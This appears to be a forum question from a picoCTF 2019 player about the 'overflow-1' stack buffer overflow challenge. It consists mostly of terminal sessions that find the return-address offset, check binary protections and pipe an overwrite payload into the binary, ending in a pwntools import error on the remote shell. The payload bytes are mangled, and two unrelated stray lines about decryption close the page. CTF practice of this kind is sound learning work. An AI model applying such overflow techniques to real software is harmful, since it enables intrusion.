ctf – how to install pwn in remote shell in picoctf challenge?

I'm doing the challenge of picoctf 2019 but there is a problem that I face for days that every time I try to exploit the original application and want to get the flag, remote housing gives me a message that pwn is not installed. Although it is installed but does not work in remote shell.

bilal@Awaiss-iPhone:~/Downloads$ python -c "print('A'*82)" | ./vuln
Woah, were jumping to 0x41414141 !

bilal@Awaiss-iPhone:~/Downloads$ python3
>>> from pwn import *
>>> cyclic(100)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas

bilal@Awaiss-iPhone:~/Downloads$ ./vuln
Give me a string and lets see what happens:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Woah, were jumping to 0x61616174!

bilal@Awaiss-iPhone:~/Downloads$ python3
>>>from pwn import *
>>>cyclic_find(p32(0x61616174))

bilal@Awaiss-iPhone:~/Downloads$ python3 -c "print('A'*76+'B'*6)" | ./vuln
Woah, were jumping to 0x42424242 !

bilal@Awaiss-iPhone:~/Downloads$ python3
>>>vuln = ELF('./vuln')
(*) '/home/bilal/Downloads/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

>>>p32(vuln.symbols('flag'))
   b'xe6x85x04x08'

To overflow it

bilal@Awaiss-iPhone:~/Downloads$ python3 -c "from pwn import *; print('A'*76+'xe6x85x04x08')" 
| ./vuln     
Give me a string and lets see what happens: 
Woah, were jumping to 0x85c2a6c3 !

Remote shell

redmailers@pico-2019-shell1:/problems/overflow-1_3_f08d494c74b95dae41bff71c2a6cf389$ python3 -c 
"from pwn import *; print('A'*76+'xe6x85x04x08')" | ./vuln
Give me a string and lets see what happens: 
Traceback (most recent call last):                                                                                                                                    
  File "", line 1, in                                                                                                                                 
ModuleNotFoundError: No module named 'pwn'                                                                                                                            
Woah, were jumping to 0x8048705 !  

Help decrypt IIL HTWHDLE NEOOOTEE PWN EXKEETST without key or algorithm

Help to decrypt IIL HTWHDLE NEOOOTEE PWN EXKEETST